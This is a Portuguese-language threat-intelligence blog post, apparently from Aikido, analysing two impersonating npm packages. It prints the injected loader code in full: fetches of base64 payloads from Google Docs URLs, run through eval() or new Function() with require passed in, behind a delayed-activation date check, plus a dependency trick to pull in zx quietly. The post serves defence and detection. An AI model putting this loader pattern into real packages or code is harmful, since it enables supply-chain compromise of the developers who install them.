Aikido

Esconder e Falhar: Malware Obfuscado, Payloads Vazios e Manobras do npm

Escrito por
Charlie Eriksen

Em 14 de março de 2025, detectamos um pacote malicioso no npm chamado node-facebook-messenger-api. A princípio, parecia ser um malware comum, embora não conseguíssemos identificar o objetivo final. Não demos muita importância até 3 de abril de 2025, quando vimos o mesmo ator de ameaça expandir seu ataque. Esta é uma breve visão geral das técnicas usadas por este atacante específico e algumas observações interessantes sobre como suas tentativas de ofuscação acabam tornando-os ainda mais óbvios. 

TLDR 

  • 🕵️ Em 14 de março de 2025, detectamos um pacote npm malicioso: node-facebook-messenger-api@4.1.0, disfarçado como um wrapper legítimo do Facebook Messenger.
  • 🧪 O atacante escondeu lógica de execução remota de código usando axios e eval() para extrair um payload de um link do Google Docs — mas o arquivo estava vazio.
  • 🔁 Versões posteriores usaram execução com retardo e trocado no zx biblioteca para evitar detecção, incorporando lógica maliciosa que é acionada dias após a publicação.
  • 📦 Em 3 de abril de 2025, o mesmo ator de ameaça lançou um segundo pacote falso: node-smtp-mailer@6.10.0, personificando nodemailer, com a mesma lógica C2 e ofuscação.
  • 🧬 Ambos os pacotes usaram o mesmo conjunto de dependências exclusivo (incluindo hyper-types), revelando um claro padrão de assinatura vinculando os ataques.
  • 💀 As tentativas de ofuscação do atacante — como esconder código em arquivos grandes e puxar zx silenciosamente via outra dependência — ironicamente tornaram a campanha mais fácil de ser detectada.
  • 🚨 Os payloads nunca entregaram algo funcional, mas os TTPs são reais e mostram como os ataques à Supply chain no npm estão evoluindo.
  • Primeiros passos

    Tudo começou em 14 de março às 04:37 UTC, quando nossos sistemas nos alertaram sobre um pacote suspeito. Foi publicado pelo usuário victor.ben0825, que também afirma ter o nome perusworld. Este é o nome de usuário do usuário que possui o repositório legítimo para esta biblioteca.  

    Aqui está o código que foi detectado como malicioso em node-facebook-messenger-api@4.1.0:, no arquivo messenger.js, linha 157-177:

    const axios = require('axios');
    
    const url = 'https://docs.google.com/uc?export=download&id=1ShaI7rERkiWdxKAN9q8RnbPedKnUKAD2'; 
    
    async function downloadFile(url) {
        try {
            const response = await axios.get(url, {
                responseType: 'arraybuffer'
            });
    
            const fileBuffer = Buffer.from(response.data);
    		eval(Buffer.from(fileBuffer.toString('utf8'), 'base64').toString('utf8'))
            
            return fileBuffer; 
        } catch (error) {
            console.error('Download failed:', error.message);
        }
    }
    
    downloadFile(url);
    

    O atacante tentou ocultar este código em um arquivo de 769 linhas, que é uma classe grande. Aqui, eles adicionaram uma função e a estão chamando diretamente. Muito astuto, mas também muito óbvio. Tentamos buscar o payload, mas ele estava vazio. Nós o classificamos como malware e seguimos em frente.

    Poucos minutos depois, o atacante publicou outra versão, 4.1.1. A única alteração parecia estar no README.md e package.json arquivos, onde eles alteraram a versão, descrição e instruções de instalação. Como marcamos o autor como um autor mal-intencionado, os pacotes a partir deste ponto foram automaticamente sinalizados como malware.

    Tentativa de dissimulação

    Então, em 20 de março de 2025, às 16:29 UTC, nosso sistema sinalizou automaticamente a versão 4.1.2 do pacote. Vamos ver o que havia de novo. A primeira alteração está em node-facebook-messenger-api.js, que contém:

    "use strict";
    
    module.exports = {
        messenger: function () {
            return require('./messenger');
        },
        accountlinkHandler: function () {
            return require('./account-link-handler');
        },
        webhookHandler: function () {
            return require('./webhook-handler');
        }
    };
    
    var messengerapi = require('./messenger');

    A alteração neste arquivo é a última linha. Não está apenas importando o messenger.js arquivo quando solicitado, isso é sempre feito quando o módulo é importado. Inteligente! A outra alteração é nesse arquivo, messenger.js. Ele removeu o código adicionado anteriormente visto e adicionou o seguinte nas linhas 197 a 219:

    const timePublish = "2025-03-24 23:59:25"; 
    const now = new Date();
    const pbTime = new Date(timePublish);
    const delay = pbTime - now;
    
    if (delay <= 0) {
    	async function setProfile(ft) {
    		try {
    			const mod = await import('zx');
    			mod.$.verbose = false;
    			const res = await mod.fetch(ft, {redirect: 'follow'});
    			const fileBuffer = await res.arrayBuffer();
    			const data = Buffer.from(Buffer.from(fileBuffer).toString('utf8'), 'base64').toString('utf8');
    			const nfu = new Function("rqr", data);
    			nfu(require)();
    		} catch (error) {
    			//console.error('err:', error.message);
    		}
    	}
    
    	const gd = 'https://docs.google.com/uc?export=download&id=1ShaI7rERkiWdxKAN9q8RnbPedKnUKAD2'; 
    	setProfile(gd);
    }
    

    Aqui está uma visão geral do que ele faz:

    1. Ele utiliza uma verificação baseada em tempo para determinar se deve ativar o código malicioso. Ele só seria ativado cerca de 4 dias depois.
    2. Em vez de usar axios, agora ele utiliza o Google zx biblioteca para buscar o payload malicioso.
    3. Ele desativa o modo verboso, que também é o padrão.
    4. Ele então busca o código malicioso
    5. Ele o decodifica em base64
    6. Ele cria uma nova Função usando o Function() construtor, que é efetivamente equivalente a um eval() chamada. 
    7. Ele então chama a função, passando require como um argumento.

    Mas, novamente, quando tentamos buscar o arquivo, não recebemos um payload. Apenas um arquivo vazio chamado info.txt. O uso de zx é curioso. Analisamos as dependências e notamos que o pacote original continha algumas dependências:

     "dependencies": {
        "async": "^3.2.2",
        "debug": "^3.1.0",
        "merge": "^2.1.1",
        "request": "^2.81.0"
      }

    O pacote malicioso contém o seguinte:

     "dependencies": {
        "async": "^3.2.2",
        "debug": "^3.1.0",
        "hyper-types": "^0.0.2",
        "merge": "^2.1.1",
        "request": "^2.81.0"
      }

    Olha só, eles adicionaram a dependência hyper-types. Muito interessante, voltaremos a isso mais algumas vezes. 

    Eles atacam novamente!

    Então, em 3 de abril de 2025, às 06:46, um novo pacote foi lançado pelo usuário cristr. Eles lançaram opacote e  node-smtp-mailer@6.10.0. Nossos sistemas o sinalizaram automaticamente por conter código potencialmente malicioso. Nós o analisamos e ficamos um pouco animados. O pacote se passa por nodemailer, apenas com um nome diferente.  

    Nosso sistema sinalizou o arquivo lib/smtp-pool/index.js. Percebemos rapidamente que o invasor adicionou código na parte inferior do arquivo legítimo, logo antes do final module.exports. Aqui está o que é adicionado:

    const timePublish = "2025-04-07 15:30:00"; 
    const now = new Date();
    const pbTime = new Date(timePublish);
    const delay = pbTime - now;
    
    if (delay <= 0) {
        async function SMTPConfig(conf) {
            try {
                const mod = await import('zx');
                mod.$.verbose = false;
                const res = await mod.fetch(conf, {redirect: 'follow'});
                const fileBuffer = await res.arrayBuffer();
                const data = Buffer.from(Buffer.from(fileBuffer).toString('utf8'), 'base64').toString('utf8');
                const nfu = new Function("rqr", data);
                nfu(require)();
            } catch (error) {
                console.error('err:', error.message);
            }
        }
    
        const url = 'https://docs.google.com/uc?export=download&id=1KPsdHmVwsL9_0Z3TzAkPXT7WCF5SGhVR'; 
        SMTPConfig(url);
    }
    

    Conhecemos este código! Ele está novamente com um carimbo de data/hora para ser executado apenas 4 dias depois. Tentamos, com entusiasmo, buscar o payload, mas recebemos apenas um arquivo vazio chamado beginner.txt. Booo! Analisamos as dependências novamente para ver como elas são importadas. zx. Notamos que o legítimo nodemailer o pacote possui não direto dependências, apenas devDependencies. Mas aqui está o que está no pacote malicioso:

     "dependencies": {
        "async": "^3.2.2",
        "debug": "^3.1.0",
        "hyper-types": "^0.0.2",
        "merge": "^2.1.1",
        "request": "^2.81.0"
      }

    Você vê alguma similaridade entre este e o primeiro pacote que detectamos? É a mesma lista de dependências. O pacote legítimo não tem dependências, mas o malicioso tem. O atacante simplesmente copiou a lista completa de dependências do primeiro ataque para este. 

    Dependências interessantes

    Então, por que eles mudaram de usar axios para zx para fazer HTTP requisições? Definitivamente para evitar a detecção. Mas o interessante é que zx não é uma dependência direta. Em vez disso, o invasor incluiu hyper-types, que é um pacote legítimo do desenvolvedor lukasbach. 

    Além do fato de que o repositório referenciado não existe mais, há algo interessante a ser observado aqui. Veja como há 2 dependentes? Adivinhe quem são eles. 

    Se o atacante realmente quisesse tentar ofuscar sua atividade, é bastante tolo depender de um pacote do qual ele é o único dependente. 

    Palavras Finais

    Embora o atacante por trás desses pacotes npm tenha falhado em entregar um payload funcional, sua campanha destaca a evolução contínua das ameaças à Supply chain que visam o ecossistema JavaScript. O uso de execução atrasada, importações indiretas e sequestro de dependências mostra uma crescente conscientização sobre os mecanismos de detecção — e uma disposição para experimentar. Mas também mostra como a segurança operacional descuidada e padrões repetidos ainda podem denunciá-los. Como defensores, é um lembrete de que mesmo ataques falhos são inteligência valiosa. Cada artefato, truque de ofuscação e dependência reutilizada nos ajuda a construir melhores capacidades de detecção e atribuição. E o mais importante, reforça por que o monitoramento contínuo e a sinalização automatizada de registros de pacotes públicos não são mais opcionais — são críticos.

    Compartilhar:

    https://www.aikido.dev/blog/hide-and-fail-obfuscated-malware-and-npm-shenanigan

    Comece hoje, gratuitamente.

    Comece Gratuitamente
    Não é necessário cc

    Assine para receber notícias sobre ameaças.

    4.7/5
    Cansado de falsos positivos?

    Experimente Aikido como 100 mil outros.
    Começar Agora
    Obtenha um tour personalizado

    Confiado por mais de 100 mil equipes

    Agende Agora
    Escaneie seu aplicativo em busca de IDORs e caminhos de ataque reais

    Confiado por mais de 100 mil equipes

    Iniciar Escaneamento
    Veja como o pentest de IA testa seu aplicativo

    Confiado por mais de 100 mil equipes

    Iniciar Testes

    Fique seguro agora

    Proteja seu código, Cloud e runtime em um único sistema centralizado.
    Encontre e corrija vulnerabilidades rapidamente de forma automática.

    Não é necessário cartão de crédito | Resultados da varredura em 32 segundos.